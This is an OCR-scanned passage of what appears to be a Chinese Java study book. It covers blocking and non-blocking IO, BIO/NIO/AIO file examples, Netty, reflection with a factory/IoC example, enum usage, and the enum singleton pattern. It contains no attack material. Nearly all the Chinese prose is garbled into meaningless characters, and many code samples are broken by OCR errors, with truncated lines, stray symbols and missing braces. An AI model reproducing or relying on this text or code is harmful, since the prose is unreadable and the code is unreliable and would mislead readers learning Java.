4. ZIKEIKEREIK £, EETEEM, KEMZHFBEEE T, I TBEEE,
(BLAEEZE) .


http://hollischuang.gitee.io/tobetopjavaer/
http://hollischuang.gitee.io/tobetopjavaer/
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1/ 2 OXFIR, BRSESIIREZAAMIERT— . 1/ 3NX3IE, #iF
7T RKRIIEARA—1* .

BEZES 1O 1REY

EHAI— 10 A, BIEEEHIEIEFE R EHEENR.

SRPEIEAL 101BRZE, ARSEEEHERONE, IR RENENSFTE
ERiE, MAPLSENSLTEERS, BPEERE CPU, J33iRM4EZE, IR
HIEENZIBPL%IE, FIREISERERAFEE, BPEIET R block K.

HAIRIREZE 10 RERIBIFI9:

data = socket.read();

MREERBRE, He—HEZER read 137%.

E3ZE-J[OF Cric]

LRRP&ERE— read #FfE, ATFESS, MEDLERT—ER. IR
HERE— error iY, EMMEEELREESY, TREUILBEIRAIX read #(E. —B
WZRREUEERT 7, FFENERKE T BFERERIEKR, BIAEE LaiiSEIRIENE T
FF%2, AERE.

PRLAZESC B, 3FREEE 10 1RELH, APEIEFEAMNERRNREREEEME, el
15%IEPEZE IO A3t CPU, me—EA&A CPU,

BRIAYAEREZE |O BB —RRUN T

while (true) {
data = socket.read();
if (data!= error) {
Ab PR H R
break; }
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B2 TIFEZE 10 HiE— M IFEFERIEE, £ while BRHFEEREIHZIBERZ
HIEROME, XIF2SH CPU 5BXIEES, BEI—RIER MRER while BT
T TURIRENEE o

|0 EREE

ZRER 10 R ZHRIERERZIREL . Java NIO iR LR2ZRER 0.

EZRER IO KRB, 2B THREAMEXRIBZ D socket FIRTES, RBEH
socket EIEBIEEHAAT, ZHIEERALIRAY 10 1Z5#(F. RAEZSKER 10 &8,
NFEFEA—NEIENOTLIBIEZ ) socket, RRAFNFTERZZFIAIFHIERELRE, BAY
HHPIXLRRMARE, FERBAEEIES socket EHHHITH, F2EHB 10 RR, A
LAERKELD T RIRS R

£ Java NIO 2, 28T selector.select)EEFBHEMNBEEREEIAEM, WNERE
B4, W—BEREEBRE, FithXfhEESHAF&IZRIEE,

HIFERRRN, HAUUKAE SH&E+ BE 10 KERLAINR, ERBTESERE
+ [EZE 10 &, B socket M —PEAE, RFERIEMRANRRSA, FELERST
RIEEKRR, HENRFE—EASEN, NREEMEEREEERE, RS LR
HRIT .

MZEER 10 R\, BE— M EAEMALAIEEZS 1 socket, RB= socket HIERIE
SRR ET 2 HARFRREITEIMANRSRE. Fit, ZEEM 10 WRESIERHMILR

ZRI1E5

BINZIRER 10 HULLIFEE |0 BWERNERSERIAEIFEZE 10 F1, Rifitig
socket IWSHNEITAFLIZEXIHITRY, MAESKER 10 B, Bi8E socket REER X
FEHITHY, XTUERELRFLIEESHNZS .

AIEESIR, SRER 10 RERBIRIHNALICHENESESRMER, FEX
EARYSEHE—HATION . EIEXSFZRER 10 REKE, —EFMHIRIARK, BBAR
SSHEENFHREREAINE, HESIIFRISHEIE,
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(E=3K&D 10 &8

EES 10 RE A, JPPEIEAR— 10 BKEIE, SLEWINAY socket T
—MESERY, ARRAFPELRESRENT, SRBERENSAKE—TMESERP%E,
RP&EEKEIESZE, BEESERETAR 10 ESBRIERH TR 10 ERIEIE.

FE 10 &R

528 10 HERRIEEM 10 REL, 5L 10 BEf, JRF%REAR read BIEZ
B, YAMTLUABREMEENE. ME—FHEH, NIZNBE, ZEZE—1
asynchronous read Zf5, B&3xzik[E], 588 read iIERELKRINARL T, EILAEXT
FIPZErF=41T/a block. Af5, NZEEHFHIRESETN, AERBEURENZIBFLERE,
LX—EHERZE, WRSEAFPERERE—NMES, SIFE read BIERMK T . ERlR
FRZREREAFELIRIEN 1O BIERWNENHITRY, REELRR—EK, BN
ZIREINRINESIETR IO BIEER 5, TLBEEAERHIET -

LERESS 10 R, |0 BENRTMRE I SIEERFLE, XM HREZH
B, ARRKE—MESEHRFELIERIFERN. ARERETAFEREM
10 REHITEARRE . XLREIESEEEBRARN, EESKREH, SBEF
LERWEIEESRTEECENE, AERERFEITEMA 10 REUH TEIRRIRSIRE;
MESE 10 &8, NEIESERTR 10 BMFEE5%N, AHEBERAFEETIEA IO R
B TSERRAYIR SR

IR, B2 10 EEERERFENEENS, £ Java 74, &M#7T Asynchronous
1O,

BIEPOF 1O RELF EAETEZ 10, RE&EE—EEIENSE 10, RAKTIER
ZREM 10 TEESIKNEEL, 10 BIFRISE 2 MM RESS RAFLEEE, BHER
i TR MR IR E = L LA P EAZMEEE
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42 10?7 EREBHENSIMNIERSE - EFSIHENRERE D RIZE/9E
Mo BXTHUHENRSEIFREXE, EMAAE /0 REARIIR ERAEERERET
B, BN —REULRRNEIITH ARSI IIE,

£ Java fRigH, BRIRE—EER it 955 /0. FE /0 ZBHAIL AT
FHREE, BI—1FRA Stream BIR—IXBHN—1F T, it /10 BFSIMNIER
Zi. ShEREMER, ATRNRERAFT, ARBEREIR.

BIO

Java BIO Bl Block 1/0 , E£FHEZER 1O,
BIO Fi2(&4tHY java.io 8 FEARICIESEI .

NIO

AAZNIO? NIO 5ERA /0 BEMFAWERIIER, MIZERERNX3IREE
FTEFMERAIL . RRAY /O LURAISTVALIEEEE, M NIO LURAISAMEETE .

AEER B /0 RRE—R—NFHHMEHIE ., — MEIARTE— N FEEHEE, —
BEREE N FETHE. SRR CIERTIERIERERS . dHE/ L MTiEs, LESD
B RARPENEZLRTFIN—ES, XFHEENEEN . AAN—E2, EEiRhY

/O BEEZIE.

d

O

— > EER /Y /0 RFELRNERLIERE . 8— T RMEESE—2hrEaE&EE
— N EER . RIRGMBHIRENIZ (R F O IEMIERRIEZ . (BREMRA 1/0 tRD>—
LEERAY /O FrEARIUIEIErE S .

AlO

Java AlO Bl Async EfEZE, R IFEZERY 10,



205 > 1/05%

XK EXFR

BIO (Blocking I/0) : E£HEZE /O &z, HIEANRENENLIEEE—EIER
FiFHT .. XERIR—MRKNTR, B—HPKEERTTK, BIO (ITFEHZ,
M—PMEAZEBE—1 KRR, BEIXKERIT, ZELET—1IKE BREEhF LR
FEFKERITRIM AR A RE M.

NIO (New I/O) : ERZIFHEESIFEER, EXERNUERLSIEE /O &
TURIREE, BRAMANMELZIFEZE? MNREERRFKFKG, NIO RIIERIM—PEIER
#RYEIEE K EAIRNES, BEERDBRKERMNSRETHEE, Nt T T —2a98%F.

AIO ( Asynchronous I/0) : R3FEZ /O 28, REIFEESRFIEHENX
AITEME? FLIERETFE—MEEERIANE 1O BIFRPIRSSE , FEMAYR S ZE,
RBEZBHNI N RVLLFERAIE . W ERFKPRE, A TKELEIERERT — DMK, 7Kk
FZE, KESBEhBEEHEKEFT .

SFEERmR

BIO FNE@RTEZEMBILR/NBEIERIZN, XML IIIRSHRIREKRLRS,
FABRTMAS, JDK1.4 LRIRIE—IERE, (BEFEWEESIER,

NIO SHiEATEEM B S HiEEgig (RF ) R0, LLliiRiRS:, Hk
BRTMAT, wmigttRER, JDK1.4 FHASH .

o

A0 HHERTEZRHME S EEEIRK (ERF) F9239, tLuntammRss
B OS 25H&®RE, RiEVREZ, JDK7 FHA .

B

5, 7D

ERA
{£F8 BIO SEISHAGZERFIB N

//Initializes The Object
Userl user = new Userl ()
user.setName ("hollis");
user.setAge (23) ;
System.out.println (user) ;
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//Write Obj to File
ObjectOutputStream oos = null;
try {

206

0o0s = new ObjectOutputStream(new FileOutputStream ("tempFile"));

oos.writeObject (user) ;

} catch (IOException e) {
e.printStackTrace () ;

} finally {
IOUtils.closeQuietly (oo0s) ;

//Read Obj from File

File file = new File("tempFile");
ObjectInputStream ois = null;
try {

olis = new ObjectInputStream(new FileInputStream(file));

Userl newUser = (Userl) ois.readObject();
System.out.println (newUser) ;
} catch (IOException e) {
e.printStackTrace () ;
} catch (ClassNotFoundException e) {
e.printStackTrace () ;
} finally {
IOUtils.closeQuietly(ois);
try {
FileUtils.forceDelete (file) ;
} catch (IOException e) {
e.printStackTrace () ;

{&£F8 NIO SEEISHRNZENFIE AN o

static void readNIO() {
String pathname = "C:\\Users\\adew\\Desktop\\jd-gui.cfg";

FileInputStream fin = null;

try {
fin = new FileInputStream(new File (pathname)) ;
FileChannel channel = fin.getChannel () ;

int capacity = 100;// FT
ByteBuffer bf = ByteBuffer.allocate (capacity);

e

System.out.println ("FRHIRE: " + bf.limit () + "HER:

+ "PEAE: " + bf.position());
int length = -1;

while ((length = channel.read(bf)) != -1) {

" + bf

.capacit
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MO FFIEAEfik

city()

/*
* VER, BEUG, BALEE N 0, B limit BEOANRE, PR T REARZEIEMN N,
*/

bf.clear();

byte[] bytes = bf.array():;

System.out.write (bytes, 0, length);

System.out.println () ;

System.out.println ("PR#IZ: " + bf.limit () + "HE&E: " + bf.capa

+ "fIER: " + bf.position());

channel.close();

} catch (FileNotFoundException e) {

e.printStackTrace () ;

} catch (IOException e) {

e.printStackTrace () ;

} finally {

static

if (fin != null) {
try {
fin.close () ;
} catch (IOException e) {
e.printStackTrace () ;

void writeNIO () {

String filename = "out.txt";

FileOutputStream fos = null;

try

LTI g

RGP A T

{

fos = new FileOutputStream(new File (filename)) ;
FileChannel channel = fos.getChannel () ;

ByteBuffer src = Charset.forName ("utf8") .encode ("#REUFIRIFIRIFAREFIR

/) FHEMWHAEEM 1imit SMESIEKEARN, AE T AL

System.out.println ("¥IIHLAEEFM 1imit: " + src.capacity() + ","
+ src.limit ());

int length = 0;

while ((length = channel.write(src)) != 0) {
/*
* VEE, REAFE clear, BEMPHIEIRE NZIEE )G 8 s E—iX

*/
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System.out.println ("EAKE:" + length);

} catch (FileNotFoundException e) {
e.printStackTrace () ;

} catch (IOException e) {
e.printStackTrace () ;

} finally {
if (fos != null) {
try {

fos.close () ;
} catch (IOException e) {

e.printStackTrace () ;

{73 AlO SEISHRYZEFIB N o

public class ReadFromFile ({
public static void main (String[] args) throws Exception ({
Path file = Paths.get ("/usr/a.txt");

AsynchronousFileChannel channel = AsynchronousFileChannel.open (file);

ByteBuffer buffer = ByteBuffer.allocate (100 _000) ;
Future<Integer> result = channel.read(buffer, 0);

while (!result.isDone()) {
ProfitCalculator.calculateTax () ;

}

Integer bytesRead = result.get ()

System.out.println ("Bytes read [" + bytesRead + "1");

}
class ProfitCalculator {
public ProfitCalculator ()
}
public static void calculateTax () {

}

public class WriteToFile {

public static void main (String[] args) throws Exception ({
AsynchronousFileChannel fileChannel = AsynchronousFileChannel.open (
Paths.get ("/asynchronous.txt"), StandardOpenOption.READ,
StandardOpenOption.WRITE, StandardOpenOption.CREATE) ;
CompletionHandler<Integer, Object> handler = new CompletionHandler<Inte
ger, Object>() {



209 > 1/05%

@Override
public void completed(Integer result, Object attachment) {
System.out.println ("Attachment: " + attachment + " " + result
+ " bytes written");
System.out.println ("CompletionHandler Thread ID: "
+ Thread.currentThread() .getId())
}

@Override
public void failed (Throwable e, Object attachment) ({
System.err.println ("Attachment: " + attachment + " failed with:");
e.printStackTrace() ;
}
i

System.out.println ("Main Thread ID: " + Thread.currentThread() .getId
()) 7

fileChannel.write (ByteBuffer.wrap ("Sample".getBytes()), 0, "First Write
handler) ;

fileChannel.write (ByteBuffer.wrap ("Box".getBytes()), 0, "Second Write",
handler) ;

Netty @— M EEZE I/O BFm-RS5e81ESE, TEMATHA Java MM AERER, W
MRS HR/INE Pin . FEHHIKNAIME LN BEFESRII T ERTEMERE, fla0
TCP #1 UDP EFIRS=E . Netty 81F 7 RN EmEEICHEI . Netty &4JH JBoss
F&, BEH Netty B X FFRFNAER

BRTEREE MG BIZRIESS, Netty BEIETXI HTTP. HTTP2. DNS REAM
XRYSZEE, 5 7 1E Serviet B2RRIETTRIBES . X WebSockets AI32#F. 5 Google
Protocol Buffers BI&ER% X3 SSL/TLS RISFFLAR ST SPDY hiNFliE B E48rI 5 -
B 2004 FLIK, Netty —BEEFRRITA .

MhRZS 4.0.0 Frga, Netty 7£3235F NIO F1FEZE Java EiEFRIERT, iE3ZH5ER NIO.
2 fFREIR .

AER: JBoss MH9— Jar 8
BrY: HEFASMHRE. S SEHRINEIRSSEINEFIRIEF
= BHEE. SEHIRDINENBEFERINTA
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RS HIERIRIE R TRIREISIRENE BRIEE . £ java 1, RELEERILF,
BRARRT LUEIE [ B3I SRIR 1S LRI B B IR T5 %

i
i
i
iz

THFBHES — T XIRATBRIZE
THFAETEE— 1 SEATE BRI R T EMTTIE .
THHMESRA— T NRATGIE.
THEIEEE— 1 EAIIR .

G
A\ A\ =\ =\

(i

Java B9 Class 22 java EWHEIRIEM@)T Class KA T LFREXTF—1ER
BXEE.

Java.lang.Class @—/MEEBA4FHAYZE, CRTFIIREHEEANEI JVM FR92E ( B3E3E
EO) NEE. —1NESHZEOREAN JVM BBESFE—1N52Z X/ java.lang.
Class X%, AILUBITIX Class SR EENSEANFMEEHITIHE.

ERW A BMEREE—Mh—X TR Class xR, BEiRiR, 8103 (8) #E—
1 Class X%, TR, Java BN (VMBSO E RS EMERIZEIT A
Class MZE2ECE M. NRREME, JVM SiSRIEREEK class X, FEH
Class XZREN o

R EELE, R3Ot


https://blog.csdn.net/fuzhongmin05/article/details/61614873
https://blog.csdn.net/fuzhongmin05/article/details/61614873

21 > R
REFHLHEIEES

BNER— 1R, RFNEERIETH, — I UREBERNE CPAERIRREX,
ZANMTIRE? BERS— MR, WRK(VEEEIZTHIRSE 1M Class EEMER
B WERE. —REDIEEBERELGEEBINSR, XIMMERZEADE? XMHEE
253!

Al java X ERFEEEZM.class X, XFGERNMER, ~A5=.java, FEET
2.class, MMIIESLE2—H0Y9; BBAREE, HIBREFHREIR.class, MEEEIRwE,
THEE java ERIARSKREE .

MRS, BREEIES: R Java BSHI— 1M, ERFEREETH OF
BEARREIER ) KdiTEHREH AN RERI R TIRE . fIIERITF— Java 3£
SRENEFr BRI R T BT EZF B ERE XK.

REFEBRISERAILUAE, NAHELERBINESATHRI—IPEEN, FHEERIEES
TTHRPNSIIER , BESUE N ABRTER T HRRSHIEXRANE N . £ Java i, RELE
EENEF, BARALIBIRSHEHRKEENFFEER

832 Java h—FE AT H, sEEETIRISERIEIZ RIFATE, XLATHIRTLL
Biz{ThRE, THF ARG ZEH TR . ERERSERAISANRS! KhEH
AER, MBRGFNFIMETLEREAAGER, FMIRHEREMEERNEF .

REFHHIRIER

1. BT EE— T ORTERYZ;
2. TEIE1TRIREZEAINIR ;
3. EE{THIILE java MRAENE, 731k, MWIEHLES.

BESERRBRENMAZARSNG? BEECIENRAMAILLITIS, Xt K2 TS5
SR

SRR ERIERESRE, SENR, BEd.
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SRR IBTTRIIRERE, BENR .. iSRIERARERET Java IREE, K
Wy Z2SHNA, BURREZERFES .

REFHHAMLERS

RENEINMR: TSR RIRE, ARERANRELE (F3I2E
J2EE AIARFENREERFIAI+HBAE ) BRIV EFATTLERGENSHRE
HITRmIE. T JAVA XFSERIEBIZTHNES KR, RETSITLUEBENRE,
FINEZLIEEANR

tean, — P ARERIERE, RETRE—RAEIEERITERTE, BX M EFREE, &
7, ARKNFEERELIEEN, HNATEERFELEIRIEE, BERLEHIRTE,
BRIXAFRIE, ITPREEERRESLO AR . RAFSHIE, FREBMEFERRE
— R BILASEININRERIEHT, MRABRIVFIRNE, SMALTRBER, RFEEETHE
S EENGRIE, PR LASCENIZINEE .

RENFINRR: WHEEELW. ERARFER EZ—FERRIE, HNTLISF
JVM, FAMFBEMAAFEILCHERNINER . XEBRELRIETEENTHERRE.

REFEIT&NEE I0C

Spring A9 loC RISEIRIEM R T RCINREIH . FIEFTE— T RS
FIRTRY T &=

interface fruit {
public abstract void eat();
}
class Apple implements fruit({
public void eat () {
System.out.println ("Apple");
}
}
class Orange implements fruit({
public void eat () {
System.out.println ("Orange") ;
}
}
/ /K& T2
/ /R UG LA B SR ERAT TR 8 o JFC A 10 S 451 PR et fie R 75 BB 2T 28T T

class Factory{
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public static fruit getInstance (String fruitName) {
fruit f=null;
if ("Apple".equals (fruitName) ) {
f=new Apple () ;
}
if ("Orange".equals (fruitName)) {
f=new Orange () ;

}

return f;

}
class hellof{
public static void main(Stringl[] a) {
fruit f=Factory.getInstance ("Orange") ;
f.eat ();

FHESZRSZESHINERIN—1FE000HE, SFBRIERT] E7T . R0
RZHIFEREHE, MRS . TEHARSVISISEH I &:

interface fruit {
public abstract void eat();
t
class Apple implements fruit({
public void eat () {
System.out.println ("Apple") ;

}

class Orange implements fruit({

public void eat () {
System.out.println ("Orange") ;

}
class Factory{
public static fruit getInstance (String ClassName) {
fruit f=null;
try{
f=(fruit)Class.forName (ClassName) .newInstance () ;
}catch (Exception e) {
e.printStackTrace () ;
}

return f;

}
class hellof{
public static void main (String[] a) {
fruit f=Factory.getInstance ("Reflect.Apple");
if (f!'=null) {
f.eat ()
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MAEMRBHANFINMESS N FENNE, T EHBAFEE L (ERRFIIHEISSIAT
TR LAET & STESIZEORISLY), ERFTEENTENBMEER . MERFBLENE
—MEOBZSONILUMERRIFEE, FrLEET BRI B BB EA 7K.

THREREFEBRENHIHESBEEXXEHN I &L (B 1oC) . BEBIE—
fruit.properties HYEIRI {4

apple=Reflect.Apple
orange=Reflect.Orange

REREEXNE:

interface fruit {
public abstract void eat();
}
class Apple implements fruit({
public void eat () {
System.out.println ("Apple") ;

}
class Orange implements fruit({
public void eat () {
System.out.println ("Orange") ;

}
/B JR ST
class init{
public static Properties getPro() throws FileNotFoundException, IOExcepti
on/{
Properties pro=new Properties();
File f=new File("fruit.properties");
if(f.exists ()) {
pro.load (new FileInputStream(f));
lelse(
pro.setProperty ("apple", "Reflect.Apple");
pro.setProperty ("orange", "Reflect.Orange");
pro.store (new FileOutputStream(f), "FRUIT CLASS");
}

return pro;

}
class Factory{
public static fruit getInstance (String ClassName) {
fruit f=null;
try{
f=(fruit)Class.forName (ClassName) .newInstance () ;

}catch (Exception e) {
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e.printStackTrace() ;

}
return f;
}
}
class hello{
public static void main (String[] a) throws FileNotFoundException, IOExcept
ion{
Properties pro=init.getPro();
fruit f=Factory.getlInstance (pro.getProperty ("apple")):;
if (£!'=null) {
f.eat();
}

=1TEER: Apples

|OC F=ERIAE T

|IOC FRERNTRATEZ “Ri¥(Reflection)” wig, BEKHMERIELS LRIEE
(FREDI ) KANSUERIR, XMRIZH BT REEMES A R EE W —
MR, REA Spring FEEFHINREPEEENHFEHEN, BIHMERSRIEE
ISP

Bal C#. Java #1 PHP5 B9 HREY, H PHPS RURARBES, BIHED
WENERL “MET . BRRFPRIMEE, ARMZEBREE . REPMARERZ89,
REBIRAAIIESS, thanfgk Java B9 Hibernate. Spring 4222, .Net & NHibernate.
Spring. NET B2 #3218 K& “MANEERNRARFE .

REFARELREHEIMT , E—EHRBE, KERE—ZHAA .. SXEIRES
AN T EENNRERLAZRENE 10 &, WENRSIRAZIURMMNL, E2IFE
P, RETHNERMSISIBEENREMSN, BESEBEAKT, AN 1-2 BRIZE
EEO

BAIATLUE |I0C Bt TR EMEL RIUaIF%E, JLUE I0C BREFRE—
T, ZAN I BEEFRIREER EN i hE N, ARFRREES MRS
H, RIEECE XM PLEHAERZERMBNAINR . NEWKE, 10C 2IELURIEL 735
BERRINRERMNT, MENARENAREN, BT FINREMXHEIRLS
fBrsk, BRIMZRRSRIEEMAI4ERME,
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{£/ 10C ERMIZER(TA

{£F3 |0C HESRF mBe BB La NI LRI BT RERAIFL, BREERSINRSINI
OC 1EZRAIR =, MEIOHBER, HHEimAEER

1) BHERFFBRTSINTE=75 I0C Bf, ENRIITREFELER, TRERE
ZENEE, XNEESHE—EFE, kL, BAIENIFFHEER 10C ERp9d R, SRk
RBREZSAKEW. ATLL, %I)\T—/\éﬁﬁ’\]’ﬂi””, IBINEBA R R F I FIAIRAY
WA, FEELRRISTHRS, MSIEIIAE EEEFRAIRIER

2) BT I0C EREMNREBIRIL, AEITHE LB —ENRE. WRIREERK
BEITRERANE, PRI TN

3) E{KEI IOC 1253 m (Eban Spring ) kiff, FEHITREAIECHITIF, ELEBL, XY
F—E/NHIMEMS, FW LW —ETIERA.

4) |10C E mABHRAERTERITIFE, WMRSIN—PARERY I0C B2 m, B
ASFMEIREANRE, FRLAXBE— M ERMERIXE .

BAIXRARRTLUSHIREFRES: —ETFERAARNMBRE M, FREGER I0C

fES i . 25, WREIARRAIFNREENRER, 33T I0C ERFmRZIRNRVIERE, B

FRERASIN. &fF, 5 THERNIMESEm, BAKESSIA I0C {E5m,
& WEB2.0 Wit 2IXMIER o
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a2 BIFNZBY
BHOR%

E1=)

i

=~

£ lava BERRIRESINKEELE 2RI, BRNERENEREAEFE—HE nt
BE. ZRFAIBEERIA public final static FEEXRMLRBUT, 23181 XREX, 2
FTREX, 3RTHK, 4FT-EX,

public class Season {
public static final int SPRING
public static final int SUMMER =
public static final int AUTUMN
public static final int WINTER

Il
Bw N
<0

~.

XATTIEME int MR, PIXFMER B AR, FIJEATBFART , MR
[BRRRY . BERNELRNOBHSERENZEME. ZREMARE. BERIIKER
—FERERZ2ME , SAXMMRAFTEREL 2R, ELIIRFA DRI — 1 ERE, EREN
EFEEMEHENME, BRER int 28, HNEEFRIEENRENGE. BT

private String getChineseSeason (int season) {
StringBuffer result = new StringBuffer();
switch (season) {
case Season.SPRING :
result.append ("FKR") ;
break;
case Season.SUMMER :
result.append ("HEK") ;
break;
case Season.AUTUMN :
result.append ("FKK") ;
break;
case Season.WINTER :
result.append ("&K") ;

break;

default :
result.append ("HIERIK B HIZET") ;
break;

}

return result.toString();
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public void doSomething () {
System.out.println (this.getChineseSeason (Season.SPRING)) ;//iXs&IEH )

System.out.println (this.getChineseSeason (5));//XMHEANIEFKSE, X
BT RIA L 4[]

}

B ERMNIEBERGIE.
EAMAZT, MERFREY, EaiTRHsERTARER, i)
MASMAT . XEAMAHE EFEERE,

BTRRBAIRE B — T IXMEICRIAEE . (ERNENAZ TG, BEFEELESE
WERBINFATERRIATL . R Int MAEFEEFTEILER, HNFARENHE—EEF, X
R AKXKAIABL . FATERBEIER BEAE N BE. RRCIRXEEE
RETHIIEINFrE, (BEREESSEIERENE, EACKBMT A RAItRIRNE, FrliX
MEUEEINAHER . MEER2MIEFRMERSESRE, N WEstE

LIRS EELRT . FEIE, N KATHRATFTE, Bt T S—ral LA
RIBRIRTTZ, BILAEESR int 7 KRR =, FHRE TIPSR . BRsiE
KB ( ) o ETRIETENMENELIRGEN . . NBHRALER
/lf_\-l_\o
EX
MR ( ) BRIEER—HEENEEEMRSIERIEE, REXET
REM—TEEE, THHZ MESRBIRIE N o

public enum Season {
SPRING, SUMMER, AUTUMN, WINTER;
t

EXHERBEDREY . BT R
1) ERXEF ; 2) KBIBZFR, LAl ERY ; 3) —ERAIFAYE, tan

FEHEXHNEEKENZE,; 4) KELUERENE—MXXEH, BEILIEREREE £
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IR T IXAFRIE ARSI, APIEE—LEMIRE; 5) KIS —1aZ =0 (Int
erface) ; 6) BATLIENFRIZE ; 7) JLUENIAIGE; 8) AILUENXARIEEARKZE
[EMERAE.

RN Rm=R

DEESTRIINEEZ 2], ANEEEIEEIRRIE. (TBT:

public enum Season {
SPRING (1), SUMMER(2), AUTUMN (3), WINTER(4) ;

private int code;
private Season (int code) {
this.code = code;

public int getCode () {

return code;

}
public class UseSeason {
/**
* NI ZE T R A TR
* @param season
* @return
%/
public String getChineseSeason (Season season) {
StringBuffer result = new StringBuffer();
switch (season) {
case SPRING :
result.append (" [HX: HFK, MZEHE:" + season.name () + ", HIE:"
+ season.getCode () + "1");
break;
case AUTUMN :

result.append&"[rﬁﬁﬁ:%k?i,#ﬁzﬁiﬁﬁiz" + season.name () + ", g
+ season.getCode () + "1");
break;

case SUMMER :
result.append (" [HX: B K, MZEH®E:" + season.name () + ", HIE:"
+ season.getCode () + "1");
break;
case WINTER :
result.append("[d‘ﬂ& XK, MHEHEE:" + season.name () + ", "
+ season.getCode () + "1");
break;

default :
result.append("f@iﬁ%%%?%y§ﬁ5 " + season.name());
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break;

}

return result.toString() ;

}

public void doSomething () {
for (Season s : Season.values()) {

System.out.println (getChineseSeason (s));//IX&IEH MZE

t
//System.out.println (getChineseSeason(5)) ;

/ /B E AR R AEN T, XHRIE TR 4
}

public static void main(String[] arg) {
UseSeason useSeason = new UseSeason () ;

useSeason.doSomething () ;

[3: &FXR, WEFEE:SPRING, #iE1] [hX: EX, K&EEE:SUMMER, #iE:
2] [ BR, MEEEAUTUMN, #dE:3] [F3: &KX, WEEE:WINTER, #iE:
4]

XEE— NI, I AREBERINEAELETE? BRIRBSEESENEE
BXiesk, 1 AREXR, 210EREX.

&4 4t

n$o=f

A ARHERLZEFZER? BAFE—HEERIBERHE, WI—FRIXE . —F
MZEF, & 2ERIFENMANEEESHIPIEENES. Java 1.5 RINEEERERK
D TERRRAVERAY, ERIERA, %%E’J#—i;,mxeﬁ?eﬂjﬁ’ﬂo

A%

Biz—: B2

public enum Color {
RED, GREEN, BLANK, YELLOW

}
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Fix—: switch

enum Signal {
GREEN, YELLOW, RED
}
public class TrafficLight {
Signal color = Signal.RED;
public void change () {
switch (color) {
case RED:
color = Signal.GREEN;
break;
case YELLOW:
color = Signal.RED;
break;
case GREEN:
color = Signal.YELLOW;
break;

RiZ=: EKETRINHEHTTIE

public enum Color {

RED ("#[{4", 1), GREEN ("Ztfa", 2), BLANK ("Hf", 3), YELLO ("EH{", 4);

/] R E

private String name;

private int index;

// WE&ETT

private Color (String name, int index) {
this.name = name;
this.index = index;

}

// T

public static String getName (int index) {
for (Color c : Color.values()) {

if (c.getIndex () == index) {
return c.name;
}

}
return null;

}

// get set Jji%

public String getName () {
return name;

}

public void setName (String name) {
this.name = name;

}

public int getIndex () {
return index;

}

public void setIndex (int index) {
this.index = index;

}
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public enum Color {

RED ("Z4Lf&", 1), GREEN ("Z#f&", 2), BLANK("Hfa", 3), YELLO ("HEf", 4);

/] AR

private String name;

private int index;

/[ REIE T

private Color (String name, int index) {
this.name = name;
this.index = index;

}

/ /B 8 TE

@Override

public String toString ()

return this.index+" "+this.name;

RiZEh: s£iE0

public interface Behaviour {
void print () ;
String getInfo();

}

public enum Color implements Behaviour({

RED ("Z4Lf&", 1), GREEN ("Z#f&", 2), BLANK("Hfa", 3), YELLO("HEf", 4);

/] AR

private String name;

private int index;

/[ REIE T

private Color (String name, int index) {
this.name = name;
this.index = index;

}

/ /BT

@Override

public String getInfo () {
return this.name;

}

/ /DT

@Override

public void print () {
System.out.println (this.index+":"+this

WESRBZE <

222
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FiE7N: (EREOARKE

public interface Food ({
enum Coffee implements Food{
BLACK COFFEE,DECAF COFFEE,LATTE, CAPPUCCINO
}

enum Dessert implements Food{
FRUIT, CAKE, GELATO

Java SEDb 12t 7 —FhrAYSER - Java AUKIEEEEY, XS enum ITLUE—EHEER
BENERESCIEI—MHFIVZEE, MXEEZRETLENENIEFAMFER, XE—
FhIEEE FRITNEE

ERERE, BEEE—EE, BAKFEERIRRTAER? 2 enum B2 EE
RIBEARZ, enum ##0 class —#F, RE—1PXEF, HAFRR—1E, BPAKEEH
HAEHPIIR, FIERINE—MEE:

public enum t {
SPRING, SUMMER;

REFANERRFE, EEXRABIREEAZENN, REEELEBATNT:

public final class T extends Enum
{
private T(String s, int 1)
{
super (s, 1);
}
public static T[] values()
{
T at[];
int i;
T atl[];
System.arraycopy (at = ENUM$VALUES, 0, atl = new T[i = at.length], O,

return atl;
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public static T valueOf (String s)
{

return (T)Enum.valueOf (demo/T, s);

}

public static final T SPRING;
public static final T SUMMER;
private static final T ENUMSVALUES|[];
static
{
SPRING = new T ("SPRING", 0);
SUMMER = new T ("SUMMER", 1);
ENUMSVALUES = (new T[] {
SPRING, SUMMER
1)

BT R mFEAEEATTLUES], public final class T extends Enum, %88, i%
ERUET Enum 209, FEIRY final XBFEHFEA], X REEREEEAED,

SIAER enmu KEX —MERBRIIMR, RiXR[=BEIAILIZ— final
RBURGSEAMIR Enum 28, FTLARIESSSRIRBER AR K o

a5 a4

KTBHRN, RNEEPERENENET . (Fh 23 RITRAFEAEBINRT
B, RORAFREERAIIBAEE . RAERITRANMEEE SRS, tLinsiz
ZEER . FIMLITREIRIBINE o

BHIEXNE—R:

witiER (=) —BFIE

gitiER (=) ——JIDK SPAYHRLLEE B

BEERNCHEE

BEISFHIHAIBRLE)L

FF synchronized #0 lock, SNAISCIl—MERE L 2RI RH)?
A synchronized # lock, WMoSEHl—MERELE2RIEH? (Z)



http://www.hollischuang.com/archives/1373
http://www.hollischuang.com/archives/1383
http://www.hollischuang.com/archives/205
http://www.hollischuang.com/archives/1144
http://www.hollischuang.com/archives/1860
http://www.hollischuang.com/archives/1866

225 > IEREZE

NRIFXS RO RR T 87, & FROINEIR L 2 DRAR I SR BB f S ()RR
FRREBRE, JUERZEIU LS, FAANRENEETLZE, BEFE—ESNRIIEEE
, EIRANRVIERE

BlIrnE, 2fEl, —RELtHER, BARXTCHEZES, RFAIZH—FE? Hft
AWe? NIFRMLERIE—T

BRFh SR B S TUaRETF

£ StakcOverflow #, —1M%F

What is an efficient way to implement a singleton pattern in Java?f9idig:

Use an enum:

753 public enum Foo {
INSTANCE;
}

V Joshua Bloch explained this approach in his Effective Java Reloaded talk at Google /O 2008: link to
video. Also see slides 30-32 of his presentation (effective_java_reloaded.pdf):

The Right Way to Implement a Serializable Singleton

public enum Elvis {
INSTANCE;
private final String[] favoriteSongs =
{ "Hound Dog", "Heartbreak Hotel" };
public void printFavorites() {
System.out.println(Arrays.toString(favoriteSongs));
}

Edit: An online portion of "Effective Java" says:

"This approach is functionally equivalent to the public field approach, except that it is more
concise, provides the serialization machinery for free, and provides an ironclad guarantee against
multiple instantiation, even in the face of sophisticated serialization or reflection attacks. While this
approach has yet to be widely adopted, a single-element enum type is the best way to
implement a singleton."

MEE, SEXRGSHMOER: ERAKE

EZ&&5|A 7T Joshua Bloch AX#7E ( Effective Java ) FBRfSEFRIAITAIM = :


